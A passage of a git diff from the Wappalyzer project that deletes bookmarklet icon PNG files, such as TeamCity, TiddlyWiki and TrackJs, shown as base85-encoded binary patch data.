z_Ow1e!g?783)gQu#6L>dmYaoyM-}s3TU?LiII77Nom8Hk3SErT$xMz|c4_?0B`;c|sBU6mdw#bDi%09vM>=Wsr<%jkBdA z!~yQo1RGa>^#op!=daS$kV4#$BUVHYRfpii>asUYfavZDV zh2; zPiP%g6vltn*jj_BQ33^oqHYusK|rKPBDfNvRM8f#qHek=bt9m=%-nPDyq7p*`kCY#k?iQki;Er-y{quW=h5dB{Y<9NeLI_IVabGi!{O6?0h$Qf+A_%Vt3G+?3H!%qhj})dctFopew! zbveG4XI_Du^34E}@vWxl&j2{ymFGrt^VMb==c-~3wodHXD#yoi{4UR;!V>w)g`O`p zNnZ}YZh5X30=ShO&paC8Ud8N@AOjG1QO4!M04cm?;I2YB#5Zp$xz)X?d5n{#zPr^Q8vqQV%01Jt|+hr z02$lm`MZ=1=_#(su{*bwJ9fxur+c(I}6|I9*8w5uR%@ z_Ow1e!g?783)gQu#6L>dmYaoyM-}s3TU?LiII77Nom8Hk3SErT$xMz|c4_?0B`;c|sBU6mdw#bDi%09vM>=Wsr<%jkBdA z!~yQo1RGa>^#op!=daS$kV4#$BUVHYRfpii>asUYfavZDV zh2; zPiP%g6vltn*jj_BQ33^oqHYusK|rKPBDfNvRM8f#qHek=bt9m=%-nPDyq7p*`kCY#k?iQki;Er-y{quW=h5dB{Y<9NeLI_IVabGi!{O6?0h$Qf+A_%Vt3G+?3H!%qhj})dctFopew! zbveG4XI_Du^34E}@vWxl&j2{ymFGrt^VMb==c-~3wodHXD#yoi{4UR;!V>w)g`O`p zNnZ}YZh5X30=ShO&paC8Ud8N@AOjG1QO4!M04cm?;I2YB#5Zp$xz)X?d5n{#zPr^Q8vqQV%01Jt|+hr z02$lm`MZ=1=_#(su{*bwJ9fxur+c(I}6|I9*8w5uR%@ z_Ow1e!g?783)gQu#6L>dmYaoyM-}s3TU?LiII77Nom8Hk3SErT$xMz|c4_?0B`;c|sBU6mdw#bDi%09vM>=Wsr<%jkBdA z!~yQo1RGa>^#op!=daS$kV4#$BUVHYRfpii>asUYfavZDV zh2;3XqmoE_R{EiCH-=^;UMg}ra&b)w-Q5E#|7w6cz^a)|>I;MgF&AHcb%@(d~BF-Ts zMmLs71~DXx?rB`vKtxbiwNOipddp-WWhlC*DXJDKpdx7D3AdJs!y&02Lgz``p(&J% ziYg*d-&i6Wq`F2rv$!MEh$Tb?^%Z&h8ez9bh>_IjpvRsn?p!5i2&VApDU^h&2+o(-&KhC+I>{hrK_7b_6+=Z(r)Unu^160&%8-}_9BI<0s^C5;^r!hpCHE}HaU;;6{r9LzJkBMXE6UZDGS+8kf&ZmMFmks z$fS*BLdt|upD_LeGIk6hBPxh*Qrugi{NYp5&KmJxi+uMF3RS59@Fn^73SqEMj)Cka za1*l>n@gY`0LmtfzrLaBT_%->(fXh&MC40Ej#89`?%%Yyw?VAhB$T3kl4|p3vMLWq kH3oSkZaBz>e#^u92ff!1Y`#@c$N&HU07*qoM6N<$f-XKuq5uE@ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Tealeaf.png b/Wappalyzer/drivers/bookmarklet/images/icons/Tealeaf.png deleted file mode 100644 index 6234c231860bdd98b9d3c8afd2041dadbb92cff3..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 367 zcmV-#0g(QQP)QejdQ`J1V3T~qDac3z+7 zJfHImhKWKrPoXx=$WipWlx=D>vDhY}$0LgU8cv^a>V^|Kzl7*9L3D&zgtL{wgr#s1 zXEnrb5Zk2G$l~mlYIkxF*KNc;5Itq5J^_H}DMf!07w^oZJBxiK$#MU)h`u4s*J3%^9V5fe4n0m!v81Xf8|m$s1BT#_vMh-lbj zu!2MfDJ@uqTszZ){zcgqdJ3FT2v^e%W)=Xky%=5hd$yBD{AE0g|F7?Lt`T1NB^v4~P9JHWf@6;9uA{uQTPoL!S|Yyo|-e*n{PT2vVIR-*s_ N002ovPDHLkV1h}Rqv!wt diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/TeamCity.png b/Wappalyzer/drivers/bookmarklet/images/icons/TeamCity.png deleted file mode 100644 index e7999734f7e7a0daf78cf0f3ae9a251bcc4c48f3..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 528 zcmV+r0`L8aP)NF0s@}=4W2~n$%{}3s}unNK?H2TlmEm^ zfg-eqQp2(}HjQaPm9})VCEcBw&tx%TlHLOJxxAO*n{QqiMnnuF;24pPj@*-Sod`J$ zV2m{y?;g#f!+&ev4ubZ3B`ME1GdN@ZVrk#e|DLpRw;T*=?Ce_ItiCRk&cn!EaI(5N zZlG)H)1m!u1Eo~+`xh^lHpeh!SvYPsanTAvK+}JdUp^0Gx44+qrBwLp{X`H%;0(Ly z=qqvN@w%F}ZT#>&9FwqAI8&>AX{2#8~uWRH?^ z)-)sz_5)0s+`U_0y}#@|JDpi6Zww7kM2Lk-vPa`&Ktu?`7#dR_L@bsj=L%d3xiq|i zqV5Js_DHEB$OvN@f)w%rHl{Od5u|2fZ3UXEwfoxLNix>ZZHKY!De&Z&ZqEB{QR5BLLT;qY)m Sj>k0s00006NDY*Pse76d^N1pz_uhX^Q&R4Rg4K(JT{ z3TR6$Af(k)p_E$GwrMdGi_tc=CQT-pWd8qo|93yqhFF4(~4!a3{gy$|7bDLXQaJ7}*ER800yG-+%4n4_#ps zpB+SD?n}8a{H;3moI0FUoO3v*s3@umDA$cb6h(wN{{yXN=XO;pz>m5K_?3L=$EtY! zZ67v)cZ(5^ z4-Jiz3kR__0RV(e5UwB3_qZ~7nTuy%hX?{2w7UunmIsa?5P2msXD~?vP~JNr;xjXS zm8JP*_J436>3W*$Dv&Go9Z{!P8&Jsg<6N@iyb3#%y4PkqU0bWOvRdbcSOAv03Y=@l zx7sYD;+F~Ab&@y+VGAQd7)6K(+kmQ)CJ8pPh=2kD2tun?lrMsi!e*n{ErB%r7r6Ik!M@upd(_B&Jks z1ij^sUo51i5M`Rr)omgFqV)AWKE8jf!)_dV>iEc~PX6j6_x|FcBf$RgAAI9`$DaJT ze)933>G89#=-<~T_0-Y@J+*v6Us;*ZzfJ!~AAIyD8tfa<(PKy2dk-D>BXAVx0|LPN zs;WHGoZ-auSx(HHrE3KMdGQP1o&)B*au1b52S##t-hO8@^eC8s{*hs-oi+*}AjVLw zuJhKpiv<0>*nG5Zo1N!xeDv{G>Mx$4=kOi$+=eVbozSl zB1tKhddT}ewKxXY8oO~_h=&cgbbUAR-=uz761{!B?lj*swBW4YwV&FXq zc)fjirMt)$`YQMJT&)O~>8`K4b9n zM_k)M3PWKIjWfiu5hl}(ygI)~eXWMzC9V}u05t%>*hJ0L!@qoQEf7EQT*6VD#q&MJ zqC6U>2(mSRaih)DI}?~72bhL!G~Wg+fUU>I94!bKy=&PB7W&^ z*Ks1LFqY4wNs3sI3`_=^SZa$))YfW%muj3`0@eWHiF3GG%dtD%Db-r^{+NBvu(I_YjJbI@#{O zLfWb`d1VGKD1vxP>Eh&@TLi z#~QaLfrL$5yM~Knr3>GD;G^9IG;WJpjc}l8gJQfy6h){A0D^$Fan|9L`oNDYSylzI zErCv5lgno`ciXY9|B&4UvJ}m9301PV&GRq6#y~DXvjlY+*bM6|Q}b2)d<6-6941@= z901@nZV_KNO*DR<>%p)MuC=bN(|Q@pl9h;8FK0Y;dYY$BUF7M%oaO01pW);SXL$YG zEE1KGur!O9mv*ct+G)@{^&74Sxkj#)&maE^@O8E6VNIG&J2lm~p_;ZuomGtI#Q3xC z<`1`D|J`HTYvBP3sQ8fvW8;`T`*`<*MCro+09Et37b9YX=>Px#07*qoM6N<$g5yY; A*8l(j diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Textpattern CMS.png b/Wappalyzer/drivers/bookmarklet/images/icons/Textpattern CMS.png deleted file mode 100644 index cbba3aeb75e7aff693f11ebb5091be7353ae5ea7..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1768 zcmVP)_F2NzCG^??1+%8iaj&$EHnEqpYQMbKF>2~P(Mp7 z7IVgo8Ph_ZW~EXoAM}4N0#7U|DmvlydXbx(i&1|6Pl<_a<^BG@q$Gvf?RF217S1Bj zv+3@1kiQ`m3Sl%F;q_)+RIAnEdxdkkT>Jca^KO-dLPuRLS6qMap&pOtlEdLdvLYFB znLHvwuh+wBwf;;#ACDF;kw|QFD=V?*!;kR&sqauyQgSpiGc%^omt`{9P=~|uhu!9Y zPOC?XO5IBY5db!uJvGWq+7>QcfCKyYGXffSHR9BXlL&=EUl$e@KGrL88g8}PU^ZJ| z(3^URFqupw3x@L+i)C>CHJ5AW&aLeD^pk@<1iZQPO&n|a7QtY!xkt@Co?(}q4mVO$ zEzCog;C2x4nLd3bUyb zo|EGvLadAkr^7|ElG;MxtZ3jAMfvva-P>{aP;UWMi>sj3YNwDjn3?lHAaKIx%Vj`D zgE=C?Lf~{JGSV|)GpR7bCHhMw5+-|p1vuDlv^~CXGxKlv&vT7I%h6)BwFVYMx zg$1Jt+}QQ>6p@kPfl;T#lOvO{tuBb#C4rlii2L$gnvOShO8N2g=g#5CkuMnmpB(%c z@4WpsN}noi*J`wrB5-=;=jS)m(d)E^ULw*-nm9TCKT28xTF` zw~rc|oiI}+OAL34uww0!Tx_i^!k(Sa;=Rq|Q4$z-qxI}-1fGF^jySRY6%`D!_^VOF zyBD$7$7qM^%VfA*PF0GW-Qgl4Dl4p5JwF>8mKC6IloPE#Y(o3dbOye5h7x*d{O<&A z81UVZ&*#=^6dX8>0?Z*IhI`GpdSN@-o81V1KTDJ94}Dhxy7Wt3%-1k0xDq)#ulnjH9J2{%&P2R z9Z)!Qx6=(r*PKo}9l4UgJyro4R*c5JwTUXN~ zIsr4M=KLlQ2<#6E=T55#9=~#WRm5cIIqw=ZZP#&YtelF!VIv~Oviu)f&(tH_oPk>;?Hg!&mB;_5y-KB09}#iQs^y}{myEhax!6%3WJF9Xb9ESv zI(xM6*kG~um)3LZaI?vc>z}7#-OEhmzx8LYJRUEN;>TUHXt*fIN+OxaiS)$e@fk>x zQ;xgBWin~3Z@B%>*7FS{YB&D=(t-LHmC#99e-e09X{2i|l)XpEyY~}PW zI&(@kR7!bPpFbowpSbKSYunWeZ{Q|L`He3eSW%G-wK(n{0@vK*J-{g7#&po-@TE(z ze(6Z!69r6TE}i3tL?SM}qkdF%{mN-KT7TTaI2=7{%gYr=q2j`nNT|D?CRVAGX+mxc z=;`pe#bg)FV=~dW`5CNT777daoXOqIW2vv1j<#>c_pnzQE)wt_XjcZcG@vV4oiZ?C~hRz zv!3@0azGs-rbOjJZu}vNq8=US&5Xz8Orr#>%OU}1F}a{J@P7ex&y_S`FdyRp0000< KMNUMnLSTZctX%H^ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/TiddlyWiki.png b/Wappalyzer/drivers/bookmarklet/images/icons/TiddlyWiki.png deleted file mode 100644 index b2e28ef9c0a69ed499509a42e6a45371a49c3d36..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 843 zcmV-R1GM~!P)@{#kh2 z_4oXdrsv4g^VQz=lR(9K7ecZv#^55q8ho0qXhTm(4;Chqd$I|n; z#_{s>{jb07yvXtJ^813C<(jPNnyu-Zt?HYv>YcFap|k6yw(PFG?$g`#?eO|_kKxYO z^v~Dy(AxE1e%zR>>f`76hAjM@A~ZU`t0%hTY21wpXKrM`--6E z^!ELWpyv4b{cDEb{QUk}c-;Q}{*|fdc#+|GlH%Io_rlHcbB*D>%JO7_-qhRn)ZF&C z#qhDf?rw?TwZiUxmgLyq_O`_ExW@0;-}iEi;f9{&@$~y;#a}-F001C#QchC<1_u}| zE;m6(YjlE@mcPfy*xBRj@$vEU^Yird_WJ(3VxeXL00DbRL_t(|UX7DySHdtDg#&e< zv_*@kh~o{Ez4ven?!EWkd;b69NfYRS29M8&etB+AlIFfh$7B&@#pzUJ(PBbI1j&JG zI3%G#o2@Qfhs$cNTW-S!Y=Z7v?U;kTrM8}UUP55|+i(+X^c+^)6f5z9t9ighHj(fj zNCN=K@NCOd{A>j9TFcy&oQ@$Gg!7LFLWMWl}5uxgr`AiY-FjXJxMpGA_=XB{Z1OPAe z2TQf*_7lH{DH{Nb?76FjxdXxj3uFL}X<_ury^%nG1ytCzJ_!T>)F`XHJ~*R=!_W}`xqWua4ZbdcGkVGKu~ST#92su^|M31j{=dy* VbFubc)Ik6M002ovPDHLkV1fdB=0gAg diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Tiki Wiki CMS Groupware.png b/Wappalyzer/drivers/bookmarklet/images/icons/Tiki Wiki CMS Groupware.png deleted file mode 100644 index 612faa39c7c3fd6126efb4a2beb0b39dc2e29543..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 694 zcmV;n0!jUeP)3`O^H-vFGIev!Z7b10(oM3cQnxD!WLYY#ASj>$Z$g47q-v8ix-oBxAczA& zH$f~$&|N|(kr)yYA(@K^QHKAeyPh-C%(z)?SOecV^PMyA!#m%6LpbLI86*45?M~*p zE!^|KnHO7laJ~&I43Y_0bM}5j2;)qOT^Gz<1ozw??y-}}hZjaO0W>4e&0CZ0P}72D zn4pFs!UWNcFen`~kKKs;58zY=3T-7eO(j+kU50KGLgPl$^~d_5Yq@^`irSw^dX&h; zLVWQ+2*E-dH=FjND(C~%bm2tDiT$By_2%^n8o8w0=vB|<NMoX2SDO+VzZ z$!fp+G>5BoK{S*W{A?2yt=$8#vn;eW?ogjDAFjpZ^E*A`FYdLG{C%fx>Ha`VR(%7w z0PW1T&^s~?FPQ{OCDq$YEiC7lp1`WHktqNn0T@-CSWtU9LQKmsD{E|R%hn~~vRDYy z5H|lE=7)En?qXDkyZ>lq0g=t&P=6q*SM34=|K%bb`tW;bvr};)KDgptkZxcY4y~xR znY~T`Qc8@kpJ611r1hWx%&Z7VLjuwb_iqfdq7txgv(Sg$f-rB{`ac1`fvy0ErPD4U cK9{-X2P8}n@TkZj{r~^~07*qoM6N<$g3hEpt^fc4 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Timeline.png b/Wappalyzer/drivers/bookmarklet/images/icons/Timeline.png deleted file mode 100644 index 2e51915b09c435ad7f8b5676cedd7ee0bfb4c2e4..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1379 zcmV-p1)TbcP)ftrN>fzNr`sKPe^w{RL%pAzHNl)Cjp2pB#wDlyKmf~_w`N>9}#fY(4hJ z{}!O%Y}!P+_B4|BkeUk$iGTtD$QTq5{|pdn-4H&YbNNAe;Ojr9EkIA+b-%X8_ee@l zKM6q;&?__jJh z$*T*%)@%te5#l1ja%2-z{eZ-S47Lu+u5)9eCwA)tlhDNmwueG7jTcK}~TmvJ3=Y5g-XfC-nu$ zwDm=Tm0QqNcfjuNymRSHXLaKkd_zW_ts5NaT}1-^P81g|+z zKIbOPy&k>!VVJ)H>Hi6aFM`(Wna-^h(i}0hb_g(-VYClcY(!V@MEZV$p6@{;-XEcm z1h>3EL7T9m3tip?*G7@Q&OqN;AOaPTOOPZmiD>&5&LEc(%!^Q)RV>y7tz3jl0IkZ3nC;;Agf_5_@C$}e zR7T1g0!W5Xm5wGu!Y`%SRS`MSD0>-$2@kOZ0krL^Ce$g605W2-Kyj!P5qP*Wex8-e zfms|1aS7i-70@d#07jgdHWBtF68yV@lWPeFNHF0>o^fQs@_)Mk4Pz*d>?&|Or{2X5 zPYLc;2<>ip6KWg)_jGv5*&?_G0it!TxG-hvXEkDpkVCsTzt+jaxC2s0#hVeP)-;IQ z>dcVae;q>+tK!M*w%4iXN` z0jd0OrG2!#Or=?k+yeijqN;-~Ah(7Jq1SRs-2iW_Sn{ab>eFIDLCeWOA(usRH3U$V zbQ}_GI;)CXnA|52w^`j{R3M7wZ9ij7M(Sg0y=Xscf4IYYukr1D+yfI<=@WHEBf zVb%-wT!LK4-6`Y9O4Dyb01l9AkCXK(IYY`AOoW2AO+>9`j%3f7GcMYT?=K@tiZ1|X zivY)`z#Llnb+;;;dWD>EE6oKFzx4>-7paJLXmO*dZ;!n)TmkQ52u#Jx42~|Mk&l)c zFX3*O0K`N@2==R&fTTF=`(!>$Z(a<%=$5zuhocT`*9qNB){9`Zv(;>OyR(!~3?{mf z&M?xv9e4y7#_;a~9H)R=w83*^O{iIkdW}PePYje&wRAv7(@tO`@H2*)3vj$&KQhrl zi}y;6DWU4*3Z&ek!Lz_p;0V(|#q^PY=bOX&R&4=?K)X=!32E>SHTE$>1ZIv)z-Ag@ lJ1KY5l25415-{=^;vX0vvI@AHok9Qr002ovPDHLkV1jBocr^e3 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Timeplot.png b/Wappalyzer/drivers/bookmarklet/images/icons/Timeplot.png deleted file mode 100644 index 527647a5972ccb2dae738c0c834abd4d27e47f00..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 724 zcmV;_0xSKAP)8B+}!gHju66jfOdfIz`oHmEgoOZ zX0xNCC$ay4yLGlyRaHe%(&@BiMbloAgtnc{!iFxN&nJ`0#>R%l@jM?2g*lGhuGN<1 zC5vs0g^5IBZEX!gvREvMqJLmukY#C`({&@4`$Lk3fnljkT4Y$#8kb6?qS5!m!$V_Z zr!b7Pbc&KO4Atp$-n_9Q%ODW^avI&O;GRp9lNJpnsUw+8O-y8?(HG<6Bh%CQ2lo?R zdM`p5RSP1vwKV;xMgLem6IoFbJ>tIl(zRNZqJl4H_J965pHy(pe-;8lM+W1H1>#St z^!%Fxp84t=@%q}-#b*!z0>=@KdaITrewC zza(;;ubvVB7zD6XK?Av|^QOMMIisTT<@_g#;vNphuqMn`B>&cJ2?8S^VI6>D&;?81 zq~fyM;UB>qk<5aMsN2$NfhjQ%7RqMMtW~mFxl*ow3XU1L6M9Q>t64M=HHU454jta*P z(>*jv;{b1FnxR#M#lNc%Q%vgtY)g zQBqfs_7~in(pyb;Fqx}?6GzxE@A3lxT+Ngq3M|7m3X0optyU}X?>}T&-Y#pQgJD1t zUd}5B0_CD?U87F*2c~J-6*LWFcJ`gm@9XRBYgq1Xo`rwBq%ndyQ*BoO0000&w@%yHIvt31wN2mEHG5At5Y5@sHD}L+1^Xv1*gtLQp=nDG zPhEOw_NrrZRvn$Q>e$8WPoKW{pw7#`3urWBNswPKgTu2MX+Tbrr;B4q1taUhgS>|f z7+4JMt1jIlR4=vbe_aRb21bSnE-f7n9Z&jdm=ufD-`x>VY60qDU~tV`-j{U$&2C<~ z2L%;Y4_$Jzw0gu%eJ(Q}>tD5A(;&cAR4t;Sc6j*#YTfrjpp0SOHZX$u^Tn1vD; hxt8$EIk19(;mo7}*&Vkl7XtM$c)I$ztaD0e0s#4xEBXKc diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/TomatoCart.png b/Wappalyzer/drivers/bookmarklet/images/icons/TomatoCart.png deleted file mode 100644 index 8646e911ef290b0c43ccc0e0a7fb3453fce06570..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 196 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!63?wyl`GbL!Xn;?ME0AtzXgF}-!2kdM8yXlI z7#RLDFhpjSYXc=1OM?7@862M7NCR?WJzX3_Dj0naGV&cZ5IAfQz5T_1|F~T&5hrDm zJ}<9Z^~`}){>j3ltGqXBR_IQCvBG3ZYhK)dr7(8A5T-G@yGywoYrb6Zb diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/TornadoServer.png b/Wappalyzer/drivers/bookmarklet/images/icons/TornadoServer.png deleted file mode 100644 index d52d546d348bbc22535f680c526bf7cffabd69ab..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 809 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 FV1h;}Z+id$ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/TrackJs.png b/Wappalyzer/drivers/bookmarklet/images/icons/TrackJs.png deleted file mode 100644 index 4eabf59cf6484d52c587271fa9a7eaf556575de3..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 3728 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 